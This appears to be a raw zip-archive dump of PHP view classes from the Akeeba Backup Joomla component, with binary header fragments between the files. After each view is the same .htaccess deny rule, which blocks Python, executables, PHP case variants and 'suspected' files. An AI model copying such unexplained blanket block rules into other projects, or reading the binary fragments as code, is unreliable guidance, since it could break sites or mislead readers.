	 */
	public $currentSection;

	/**
	 * Description of the last check that just finished
	 *
	 * @var  string
	 */
	public $currentCheck;

	/**
	 * Percentage of the process already done (0-100)
	 *
	 * @var  int
	 */
	public $percentage;

	/**
	 * The error ALICE detected
	 *
	 * @var  array
	 */
	public $aliceError;

	/**
	 * The warnings ALICE detected
	 *
	 * @var  array
	 */
	public $aliceWarnings;

	/**
	 * Overall status of the scan: 'success', 'warnings', 'error'
	 *
	 * @var  array
	 */
	public $aliceStatus;

	/**
	 * The exception to report to the user in the 'error' layout.
	 *
	 * @var  Exception
	 */
	public $errorException;

	public function onBeforeMain($tpl = null)
	{
		$this->addToolbar();

		/** @var LogModel $logModel */
		$logModel = $this->getModel('Log');

		// Get a list of log names
		$this->logs = $logModel->getLogList(true);
		$this->log  = $this->getModel()->getState('log', null);
	}

	public function onBeforeStart($tpl = null)
	{
		$this->onBeforeStep();
	}

	public function onBeforeStep($tpl = null)
	{
		$this->addToolbar(false);

		/** @var AliceModel $model */
		$model                = $this->getModel();
		$this->totalChecks    = $model->getState('totalChecks');
		$this->doneChecks     = $model->getState('doneChecks');
		$this->currentSection = $model->getState('currentSection');
		$this->currentCheck   = $model->getState('currentCheck');
		$this->percentage     = min(100, ceil(100.0 * ($this->doneChecks / max($this->totalChecks, 1))));
	}

	public function onBeforeResult($tpl = null)
	{
		$this->addToolbar();

		/** @var AliceModel $model */
		$model               = $this->getModel();
		$this->totalChecks   = $model->getState('totalChecks');
		$this->doneChecks    = $model->getState('doneChecks');
		$this->aliceError    = $model->getState('aliceError');
		$this->aliceWarnings = $model->getState('aliceWarnings');
		$this->aliceStatus   = empty($this->aliceWarnings) ? 'success' : 'warnings';
		$this->aliceStatus   = empty($this->aliceError) ? $this->aliceStatus : 'error';
	}

	public function onBeforeError($tpl = null)
	{
		$this->addToolbar();

		$this->errorException = Factory::getApplication()->getSession()->get('akeebabackup.aliceException');
	}

	private function addToolbar(bool $showMenu = true)
	{
		$toolbar = $this->getToolbarCompat();
		ToolbarHelper::title(Text::_('COM_AKEEBABACKUP_TITLE_ALICES'), 'icon-akeeba');

		if (!$showMenu)
		{
			JoomlaFactory::getApplication()->getInput()->set('hidemainmenu', true);

			return;
		}

		$toolbar->back()
			->text('COM_AKEEBABACKUP_CONTROLPANEL')
			->icon('fa fa-' . (JoomlaFactory::getApplication()->getLanguage()->isRtl() ? 'arrow-right' : 'arrow-left'))
			->url('index.php?option=com_akeebabackup');
	}
}PK     \Sʉ        src/View/Alice/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \      src/View/Upload/HtmlView.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\View\Upload;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewTaskBasedEventsTrait;
use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView;

#[\AllowDynamicProperties]
class HtmlView extends BaseHtmlView
{
	use ViewTaskBasedEventsTrait;

	/**
	 * ID of the record to reupload to remote torage
	 *
	 * @var  int
	 */
	public $id = 0;

	/**
	 * Total number of parts which have to be uploaded
	 *
	 * @var  int
	 */
	public $parts = 0;

	/**
	 * Current part being uploaded
	 *
	 * @var  int
	 */
	public $part = 0;

	/**
	 * Current fragment of the part being uploaded
	 *
	 * @var  int
	 */
	public $frag = 0;

	/**
	 * Are we done? 0/1
	 *
	 * @var  int
	 */
	public $done = 0;

	/**
	 * Is there an error? 0/1
	 *
	 * @var  int
	 */
	public $error = 0;

	/**
	 * Error message to display
	 *
	 * @var  string
	 */
	public $errorMessage = '';

	public function display($tpl = null)
	{
		$this->getDocument()->getWebAssetManager()
			->useScript('com_akeebabackup.upload');

		parent::display($tpl);
	}

	/**
	 * Runs before displaying the "upload" task's page
	 *
	 * @return  void
	 */
	public function onBeforeUpload()
	{
		$this->setLayout('uploading');

		if ($this->done)
		{
			$this->setLayout('done');
		}

		if ($this->error)
		{
			$this->setLayout('error');
		}
	}

	/**
	 * Runs before displaying the "cancelled" task's page
	 *
	 * @return  void
	 */
	public function onBeforeCancelled()
	{
		$this->setLayout('error');
	}

	/**
	 * Runs before displaying the "start" task's page
	 *
	 * @return  void
	 */
	public function onBeforeStart()
	{
		$this->setLayout('default');

		if ($this->done)
		{
			$this->setLayout('done');
		}

		if ($this->error)
		{
			$this->setLayout('error');
		}
	}
}PK     \Sʉ        src/View/Upload/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \/g
  g
  $  src/View/Includefolders/HtmlView.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\View\Includefolders;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewLoadAnyTemplateTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewProfileIdAndNameTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewTaskBasedEventsTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewToolbarTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Model\IncludefoldersModel;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Toolbar\ToolbarHelper;

#[\AllowDynamicProperties]
class HtmlView extends BaseHtmlView
{
	use ViewProfileIdAndNameTrait;
	use ViewLoadAnyTemplateTrait;
	use ViewTaskBasedEventsTrait;
	use ViewToolbarTrait;

	public function onBeforeMain()
	{
		$this->getDocument()->getWebAssetManager()
			->useScript('com_akeebabackup.includefolders');

		$this->addToolbar();

		// Enable Bootstrap popovers
		HTMLHelper::_('bootstrap.popover', '[rel=popover]', [
			'html'      => true,
			'placement' => 'bottom',
			'trigger'   => 'click hover',
			'sanitize'  => false,
		]);

		// Get a JSON representation of the directories data
		/** @var IncludefoldersModel $model */
		$model = $this->getModel();

		$this->getDocument()
			->addScriptOptions('akeebabackup.System.params.AjaxURL', Route::_('index.php?option=com_akeebabackup&view=Includefolders&task=ajax', false, Route::TLS_IGNORE, true))
			->addScriptOptions('akeebabackup.Configuration.URLs', [
				'browser' => Route::_('index.php?option=com_akeebabackup&view=Browser&processfolder=1&tmpl=component&folder=', false, Route::TLS_IGNORE, true),
			])
			->addScriptOptions('akeebabackup.Includefolders.guiData', $model->get_directories());

		$this->getProfileIdAndName();

		// Push translations
		Text::script('COM_AKEEBABACKUP_FILEFILTERS_LABEL_UIERRORFILTER');
	}

	private function addToolbar(): void
	{
		$toolbar = $this->getToolbarCompat();
		ToolbarHelper::title(Text::_('COM_AKEEBABACKUP_INCLUDEFOLDER'), 'icon-akeeba');

		$toolbar->back()
			->text('COM_AKEEBABACKUP_CONTROLPANEL')
			->icon('fa fa-' . (\Joomla\CMS\Factory::getApplication()->getLanguage()->isRtl() ? 'arrow-right' : 'arrow-left'))
			->url('index.php?option=com_akeebabackup');

		$toolbar->help(null, false, 'https://www.akeeba.com/documentation/akeeba-backup-joomla/off-site-directories-inclusion.html');
	}

}PK     \Sʉ      !  src/View/Includefolders/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \5.    #  src/View/Configuration/HtmlView.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\View\Configuration;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewLoadAnyTemplateTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewProfileIdAndNameTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewToolbarTrait;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView;
use Joomla\CMS\Toolbar\Toolbar;
use Joomla\CMS\Toolbar\ToolbarHelper;

#[\AllowDynamicProperties]
class HtmlView extends BaseHtmlView
{
	use ViewProfileIdAndNameTrait;
	use ViewLoadAnyTemplateTrait;
	use ViewToolbarTrait;

	/**
	 * Status of the settings encryption: -1 disabled by user, 0 not available, 1 enabled and active
	 *
	 * @var  int
	 */
	public $secureSettings = 0;

	/**
	 * Should I show the Configuration Wizard popup prompt?
	 *
	 * @var  bool
	 */
	public $promptForConfigurationwizard = false;

	public function display($tpl = null)
	{
		$this->addToolbar();

		// Load our Javascript
		$wa = $this->getDocument()->getWebAssetManager();
		$wa->useScript('com_akeebabackup.configuration');

		// Get the backup profile ID and name
		$this->getProfileIdAndName();

		// Are the settings secured?
		$this->secureSettings = $this->getSecureSettingsOption();

		// Should I show the Configuration Wizard popup prompt?
		$this->promptForConfigurationwizard = Factory::getConfiguration()->get('akeeba.flag.confwiz', 0) != 1;

		// Push script options
		$urls = [
			'browser'      => addslashes('index.php?option=com_akeebabackup&view=Browser&processfolder=1&tmpl=component&folder='),
			'testFtp'      => addslashes('index.php?option=com_akeebabackup&view=Configuration&task=testftp'),
			'testSftp'     => addslashes('index.php?option=com_akeebabackup&view=Configuration&task=testsftp'),
			'dpeauthopen'  => addslashes('index.php?option=com_akeebabackup&view=Configuration&task=dpeoauthopen&format=raw'),
			'dpecustomapi' => addslashes('index.php?option=com_akeebabackup&view=Configuration&task=dpecustomapi&format=raw'),
		];

		// Push script options
		$this->getDocument()->addScriptOptions('akeebabackup.Configuration.URLs', $urls);
		$this->getDocument()->addScriptOptions('akeebabackup.Configuration.GUIData', json_decode(Factory::getEngineParamsProvider()->getJsonGuiDefinition(), true));

		// Push translations
		Text::script('COM_AKEEBABACKUP_CONFIG_UI_BROWSE');
		Text::script('COM_AKEEBABACKUP_CONFIG_UI_CONFIG');
		Text::script('COM_AKEEBABACKUP_CONFIG_UI_REFRESH');
		Text::script('COM_AKEEBABACKUP_FILEFILTERS_LABEL_UIROOT');
		Text::script('COM_AKEEBABACKUP_CONFIG_UI_FTPBROWSER_TITLE');
		Text::script('COM_AKEEBABACKUP_CONFIG_DIRECTFTP_TEST_OK');
		Text::script('COM_AKEEBABACKUP_CONFIG_DIRECTFTP_TEST_FAIL');
		Text::script('COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_TEST_OK');
		Text::script('COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_TEST_FAIL');
		Text::script('COM_AKEEBABACKUP_CONFIG_UI_CUSTOM');
		Text::script('JYES');
		Text::script('JNO');

		parent::display($tpl);
	}

	protected function addToolbar(): void
	{
		// Set up the toolbar
		ToolbarHelper::title(Text::_('COM_AKEEBABACKUP_CONFIG'), 'icon-akeeba');

		$toolbar = $this->getToolbarCompat();
		$toolbar->apply('apply');

		$saveGroup = $toolbar->dropdownButton('save-group');
		$saveGroup->configure(
			function (Toolbar $childBar) {
				$childBar->save('save');
				$childBar->save2copy('savenew');
			}
		);

		$toolbar->cancel('cancel');

		$toolbar->link(
			Text::_('COM_AKEEBABACKUP_CONFWIZ'),
			'index.php?option=com_akeebabackup&view=Configurationwizard'
		)
		        ->icon('fa fa-bolt');

		if (AKEEBABACKUP_PRO)
		{
			$toolbar->link(
				Text::_('COM_AKEEBABACKUP_SCHEDULE'),
				'index.php?option=com_akeebabackup&view=Schedule'
			)->icon('fa fa-calendar');
		}

		$toolbar->preferences('com_akeebabackup');
		$toolbar->help(null, false, 'https://www.akeeba.com/documentation/akeeba-backup-joomla/configuration.html');
	}

	/**
	 * Returns the support status of settings encryption. The possible values are:
	 * -1 Disabled by the user
	 *  0 Enabled by inactive (not supported by the server)
	 *  1 Enabled and active
	 *
	 * @return  int
	 */
	private function getSecureSettingsOption()
	{
		// Encryption is disabled by the user
		if (Platform::getInstance()->get_platform_configuration_option('useencryption', -1) == 0)
		{
			return -1;
		}

		// Encryption is not supported by this server
		if (!Factory::getSecureSettings()->supportsEncryption())
		{
			return 0;
		}

		$filename = JPATH_ADMINISTRATOR . '/components/com_akeebabackup/serverkey.php';

		// Encryption enabled, supported and a key file is present: encryption enabled
		if (is_file($filename))
		{
			return 1;
		}

		// Encryption enabled, supported but and a key file is NOT present: encryption not available
		return 0;
	}

}PK     \Sʉ         src/View/Configuration/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \Ȯsv  v    src/View/Log/RawView.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\View\Log;

defined('_JEXEC') or die;

use Akeeba\Component\AkeebaBackup\Administrator\Model\LogModel;
use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView;

#[\AllowDynamicProperties]
class RawView extends BaseHtmlView
{
	/**
	 * Currently selected log file tag
	 *
	 * @var  string
	 */
	public $tag;

	/**
	 * Renders the actual log content, for use in the IFRAME
	 *
	 * @return  void
	 */
	public function display($tpl = null)
	{
		/** @var LogModel $model */
		$model = $this->getModel();
		$tag   = $model->getState('tag', '');

		if (empty($tag))
		{
			$tag = null;
		}

		$this->tag = $tag;

		$this->setLayout('raw');

		parent::display($tpl);
	}


}PK     \6ɹ      src/View/Log/HtmlView.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\View\Log;

defined('_JEXEC') or die;

use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewProfileIdAndNameTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewToolbarTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Model\LogModel;
use Akeeba\Engine\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView;
use Joomla\CMS\Toolbar\ToolbarHelper;
use Joomla\CMS\Uri\Uri;

#[\AllowDynamicProperties]
class HtmlView extends BaseHtmlView
{
	use ViewProfileIdAndNameTrait;
	use ViewToolbarTrait;

	/**
	 * Big log file threshold: 2Mb
	 */
	public const bigLogSize = 2097152;

	/**
	 * Size of the log file
	 *
	 * @var int
	 */
	public int $logSize = 0;

	/**
	 * Is the select log too big for being
	 *
	 * @var bool
	 */
	public bool $logTooBig = false;

	/**
	 * JHtml list of available log files
	 *
	 * @var  array
	 */
	public array $logs = [];

	/**
	 * Currently selected log file tag
	 *
	 * @var  string|null
	 */
	public ?string $tag = null;

	/**
	 * Shouldl I display a link to ALICE, the log analyser, in the interface?
	 *
	 * @since 9.4.4
	 * @var   bool
	 */
	public bool $hasAlice = false;

	/**
	 * The main page of the log viewer. It allows you to select a profile to display. When you do it displays the IFRAME
	 * with the actual log content and the button to download the raw log file.
	 *
	 * @return  void
	 */
	public function display($tpl = null)
	{
		// Toolbar
		ToolbarHelper::title(Text::_('COM_AKEEBABACKUP_LOG'), 'icon-akeeba');

		$toolbar = $this->getToolbarCompat();
		$toolbar->back()
		        ->text('COM_AKEEBABACKUP_CONTROLPANEL')
		        ->icon('fa fa-' . (\Joomla\CMS\Factory::getApplication()->getLanguage()->isRtl() ? 'arrow-right' : 'arrow-left'))
		        ->url('index.php?option=com_akeebabackup');
		$toolbar->help(null, false, 'https://www.akeeba.com/documentation/akeeba-backup-joomla/view-log.html');

		// Load the view-specific Javascript
		$this->getDocument()->getWebAssetManager()
		               ->useScript('com_akeebabackup.log');

		// Get a list of log names
		/** @var LogModel $model */
		$model = $this->getModel();

		$this->logs = $model->getLogList();

		$tag = $model->getState('tag', '');

		if (empty($tag))
		{
			$tag = null;
		}

		$this->tag = $tag;

		// Let's check if the file is too big to display
		if ($this->tag)
		{
			$logFile = Factory::getLog()->getLogFilename($this->tag);

			if (@file_exists($logFile))
			{
				$this->logSize   = filesize($logFile);
				$this->logTooBig = ($this->logSize >= self::bigLogSize);
			}

			$failedLogs     = $model->getLogFiles(true);
			$this->hasAlice = in_array($this->tag, $failedLogs);
		}

		if ($this->logTooBig)
		{
			$src = Uri::base() . 'index.php?option=com_akeebabackup&view=Log&task=inlineRaw&&tag=' . urlencode($this->tag) . '&tmpl=component';
			$this->getDocument()->addScriptOptions('akeeba.Log.iFrameSrc', $src);
		}

		$this->getProfileIdAndName();

		parent::display($tpl);
	}
}PK     \Sʉ        src/View/Log/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \.    *  src/View/Regexdatabasefilters/HtmlView.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\View\Regexdatabasefilters;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewLoadAnyTemplateTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewProfileIdAndNameTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewTaskBasedEventsTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewToolbarTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Model\DatabasefiltersModel;
use Akeeba\Component\AkeebaBackup\Administrator\Model\RegexdatabasefiltersModel;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Toolbar\ToolbarHelper;

#[\AllowDynamicProperties]
class HtmlView extends BaseHtmlView
{
	use ViewProfileIdAndNameTrait;
	use ViewLoadAnyTemplateTrait;
	use ViewTaskBasedEventsTrait;
	use ViewToolbarTrait;

	/**
	 * SELECT element for choosing a database root
	 *
	 * @var  string
	 */
	public $root_select = '';

	/**
	 * List of database roots
	 *
	 * @var  array
	 */
	public $roots = [];

	/**
	 * Main page
	 */
	public function onBeforeMain()
	{
		$this->getDocument()->getWebAssetManager()
			->useScript('com_akeebabackup.regexdatabasefilters');

		$this->addToolbar();

		HTMLHelper::_('bootstrap.tooltip', '.hasTooltip', [
			'placement' => 'right',
		]);

		/** @var RegexdatabasefiltersModel $model */
		$model = $this->getModel();

		/** @var DatabasefiltersModel $dbFilterModel */
		$dbFilterModel = $this->getModel('Databasefilters');

		// Get a JSON representation of the available roots
		$root_info = $dbFilterModel->getRoots();
		$roots     = [];
		$options   = [];

		if (!empty($root_info))
		{
			// Loop all dir definitions
			foreach ($root_info as $def)
			{
				$roots[]   = $def->value;
				$options[] = HTMLHelper::_('select.option', $def->value, $def->text);
			}
		}

		$siteRoot          = '[SITEDB]';
		$selectOptions     = [
			'list.select' => $siteRoot,
			'id'          => 'active_root',
			'list.attr'   => [
				'class' => 'form-select',
			],
		];
		$this->root_select = HTMLHelper::_('select.genericlist', $options, 'root', $selectOptions);
		$this->roots       = $roots;

		// Add script options
		$this->getDocument()
			->addScriptOptions('akeebabackup.System.params.AjaxURL', Route::_('index.php?option=com_akeebabackup&view=Regexdatabasefilters&task=ajax', false))
			->addScriptOptions('akeebabackup.Regexdatabasefilters.guiData', [
				'list' => $model->get_regex_filters($siteRoot)
			]);

		// Translations
		Text::script('COM_AKEEBABACKUP_FILEFILTERS_LABEL_UIROOT');
		Text::script('COM_AKEEBABACKUP_FILEFILTERS_LABEL_UIERRORFILTER');
		Text::script('COM_AKEEBABACKUP_DBFILTER_TYPE_REGEXTABLES');
		Text::script('COM_AKEEBABACKUP_DBFILTER_TYPE_REGEXTABLEDATA');

		$this->getProfileIdAndName();
	}

	private function addToolbar(): void
	{
		$toolbar = $this->getToolbarCompat();
		ToolbarHelper::title(Text::_('COM_AKEEBABACKUP_REGEXDBFILTERS'), 'icon-akeeba');

		$toolbar->back()
			->text('COM_AKEEBABACKUP_CONTROLPANEL')
			->icon('fa fa-' . (\Joomla\CMS\Factory::getApplication()->getLanguage()->isRtl() ? 'arrow-right' : 'arrow-left'))
			->url('index.php?option=com_akeebabackup');

		$toolbar->help(null, false, 'https://www.akeeba.com/documentation/akeeba-backup-joomla/regex-database-tables-exclusion.html');
	}

}PK     \Sʉ      '  src/View/Regexdatabasefilters/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \3      src/View/Restore/HtmlView.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\View\Restore;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewBackupStartTimeTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewLoadAnyTemplateTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewTaskBasedEventsTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewToolbarTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Model\RestoreModel;
use Akeeba\Engine\Platform;
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Toolbar\ToolbarHelper;
use Joomla\CMS\Uri\Uri;

#[\AllowDynamicProperties]
class HtmlView extends BaseHtmlView
{
	use ViewLoadAnyTemplateTrait;
	use ViewBackupStartTimeTrait;
	use ViewTaskBasedEventsTrait;
	use ViewToolbarTrait;

	/**
	 * Backup record ID we are restoring
	 *
	 * @var int
	 */
	public $id;

	/**
	 * The backup record we are restoring
	 *
	 * @var array
	 */
	public $backupRecord;

	/**
	 * The extension of the backup archive we are restoring (jpa, zip, jps)
	 *
	 * @var string
	 */
	public $extension;

	/**
	 * Joomla FTP layer parameters
	 *
	 * @var array
	 */
	public $ftpparams;

	/**
	 * HTMLHelper options for the possible archive extraction modes
	 *
	 * @var array
	 */
	public $extractionmodes;

	protected function onBeforeMain()
	{
		$this->addToolbar();
		$this->loadCommonJavascript();

		$this->initTimeInformation();

		/** @var RestoreModel $model */
		$model = $this->getModel();

		$this->id              = (int) $model->getState('id', '');
		$this->ftpparams       = $this->getFTPParams();
		$this->extractionmodes = $this->getExtractionModes();

		$backup             = Platform::getInstance()->get_statistics($this->id);
		$this->extension    = strtolower(substr($backup['absolute_path'], -3));
		$this->backupRecord = $backup;

		$this->getDocument()->addScriptOptions('akeeba.Configuration.URLs', [
			'browser' => Route::_('index.php?option=com_akeebabackup&view=Browser&tmpl=component&processfolder=1&folder='),
			'testFtp' => Route::_('index.php?option=com_akeebabackup&view=Restore&task=ajax&ajax=testftp'),
		]);
	}

	protected function onBeforeStart()
	{
		$this->addToolbar(true);
		$this->loadCommonJavascript();

		/** @var RestoreModel $model */
		$model = $this->getModel();

		$this->setLayout('restore');

		// Pass script options
		$this->getDocument()
			->addScriptOptions('akeebabackup.Restore.password', $model->getState('password'))
			->addScriptOptions('akeebabackup.Restore.ajaxURL', Uri::base() . 'components/com_akeebabackup/restore.php')
			->addScriptOptions('akeebabackup.Restore.mainURL', Uri::base() . 'index.php')
			->addScriptOptions('akeebabackup.Restore.inMainRestoration', true);
	}

	/**
	 * Returns the available extraction modes for use by HTMLHelper
	 *
	 * @return  array
	 */
	private function getExtractionModes()
	{
		$options   = [];
		$options[] = HTMLHelper::_('select.option', 'hybrid', Text::_('COM_AKEEBABACKUP_RESTORE_LABEL_EXTRACTIONMETHOD_HYBRID'));
		$options[] = HTMLHelper::_('select.option', 'direct', Text::_('COM_AKEEBABACKUP_RESTORE_LABEL_EXTRACTIONMETHOD_DIRECT'));
		$options[] = HTMLHelper::_('select.option', 'ftp', Text::_('COM_AKEEBABACKUP_RESTORE_LABEL_EXTRACTIONMETHOD_FTP'));

		return $options;
	}

	/**
	 * Returns the FTP parameters from the Global Configuration
	 *
	 * @return  array
	 */
	private function getFTPParams()
	{
		$app = Factory::getApplication();

		return [
			'procengine' => $app->get('ftp_enable', 0) ? 'hybrid' : 'direct',
			'ftp_host'   => $app->get('ftp_host', 'localhost'),
			'ftp_port'   => $app->get('ftp_port', '21'),
			'ftp_user'   => $app->get('ftp_user', ''),
			'ftp_pass'   => $app->get('ftp_pass', ''),
			'ftp_root'   => $app->get('ftp_root', ''),
			'tempdir'    => $app->get('tmp_path', ''),
		];
	}

	private function loadCommonJavascript()
	{
		$this->getDocument()->getWebAssetManager()
			->useScript('com_akeebabackup.restore')
			->useStyle('switcher');

		// Push translations
		Text::script('COM_AKEEBABACKUP_CONFIG_UI_BROWSE');
		Text::script('COM_AKEEBABACKUP_CONFIG_UI_CONFIG');
		Text::script('COM_AKEEBABACKUP_CONFIG_UI_REFRESH');
		Text::script('COM_AKEEBABACKUP_FILEFILTERS_LABEL_UIROOT');
		Text::script('COM_AKEEBABACKUP_CONFIG_UI_FTPBROWSER_TITLE');
		Text::script('COM_AKEEBABACKUP_CONFIG_DIRECTFTP_TEST_OK');
		Text::script('COM_AKEEBABACKUP_CONFIG_DIRECTFTP_TEST_FAIL');
		Text::script('COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_TEST_OK');
		Text::script('COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_TEST_FAIL');
		Text::script('COM_AKEEBABACKUP_BACKUP_TEXT_LASTRESPONSE');
	}

	private function addToolbar($disableMenu = false): void
	{
		ToolbarHelper::title(Text::_('COM_AKEEBABACKUP_RESTORE'), 'icon-akeeba');

		if ($disableMenu)
		{
			Factory::getApplication()->getInput()->set('hidemainmenu', true);

			return;
		}

		$toolbar = $this->getToolbarCompat();

		$toolbar->back()
			->text('COM_AKEEBABACKUP_CONTROLPANEL')
			->icon('fa fa-' . (\Joomla\CMS\Factory::getApplication()->getLanguage()->isRtl() ? 'arrow-right' : 'arrow-left'))
			->url('index.php?option=com_akeebabackup&view=Manage');

		$toolbar->help(null, false, 'https://www.akeeba.com/documentation/akeeba-backup-joomla/adminsiter-backup-files.html#integrated-restoration');
	}

}PK     \Sʉ        src/View/Restore/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \y  y  %  src/View/Databasefilters/HtmlView.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\View\Databasefilters;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewLoadAnyTemplateTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewProfileIdAndNameTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewTaskBasedEventsTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewToolbarTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Model\DatabasefiltersModel;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Toolbar\ToolbarHelper;
